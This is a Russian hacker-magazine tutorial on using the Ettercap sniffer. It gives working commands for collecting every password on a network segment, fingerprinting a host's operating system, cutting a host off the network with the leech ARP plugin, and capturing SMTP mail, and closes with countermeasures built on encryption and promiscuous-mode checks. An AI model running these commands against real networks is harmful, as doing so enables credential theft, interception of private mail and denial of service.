СНИФФЕРЫ - вынюхаем все! ManderX (forother@fromru.com) Спецвыпуск Xakep, номер #025, стр. 025-034-4 А теперь ребут, и быстрее в линух или что у тебя там? Сейчас мы займемся не менее популярным сниффаком - Ettercap. Для начала некоторые его опции: -a, -s, -m - различные виды прослушивания (выше я давал линк, там и можешь про них прочитать); -N - запускать сниффер без псевдографики; -z - запуск в спокойном режиме; -d - не преобразовывать IP-адреса в имена; -i - сетевой интерфейс; -l - вывести список хостов в сети; -C - собирать все имена и пароли пользователей; -f - определение операционной системы удаленного хоста; -p - работа с плагинами; -L - записывать в лог, имеющий формат: год-месяц-день-collected-pass.log Теперь рассмотрим некоторые виды использования этого сниффера. Сначала будем перехватывать все пароли в нашем сегменте сети и записывать в лог: ettercap - NdzsCLi eth0 Определяем операционную систему хоста с IP-адресом 127.0.0.1: ettercap - Ndzsfi eth0 127.0.0.1 Смотрим установленные плагины и описания к ним: ettercap - N -p list Рассмотрим один из плагинов - leech, он изолирует удаленный хост от сети. Пропинговав хост, видим, что он в сети. Запускаем плагин: ettercap -Ndp leech 192.168.6.89 Your IP: 192.168.6.81 MAC: 00:50:BF:4A:48:F3 Iface: ed0 Starting ./ec_leech.so plugin... Building host list for netmask 255.255.255.0, please wait... Sending 255 ARP request... Listening for replies... Isolating host 192.168.6.89... Press return to stop Ждем-с пару секондз и жмем ^C, усе, сетевой интерфейс перестает работать на некоторое время, но ОС и приложения продолжают работать нормально, этого "некоторого времени" хватает на заполучение ip-адреса жертвы. Пингуем для проверки! PING 192.168.6.89 (192.168.6.89): 56 data bytes ---192.168.6.89 ping statistics--- 4 packets transmitted, 0 packet received, 100% packet loss Для перехвата незашифрованных почтовых сообщении будем юзать: ./ettercap -Nzds <IP-адрес почтового сервера>:<port почтового сервера> <IP-адрес клиента> Пример - ./ettercap -Nzds ANY:25 ANY > /root/sniff.smtp КОНТРМЕРЫ Безусловно, лучший способ защиты от сниффинга - это шифрование. PGP, SSH и различные утилиты для шифрования должны стать твоими лучшими друзьями! Но есть еще способ для того, чтобы обнаружить сниффер в системе: необходимо проверить, не работает ли какое-либо из сетевых устройств в сети в неразборчивом режиме. Под линукс есть одно средство - ifconfig, эта тулза сообщает о состоянии сетевых устройств. Вот и все! Фу... Еще хочу добавить одно слово! Снифферы представляют собой существенную угрозу безопасности в основном из-за трудности их обнаружения. Изучение способов применения "вынюхивателей" и понимание того, как они могут быть использованы против тебя, существенно поможет тебе в защите от оных. Удачи! Лучший способ защиты от сниффинга - это шифрование. PGP, SSH и различные утилиты для шифрования должны стать твоими лучшими друзьями! |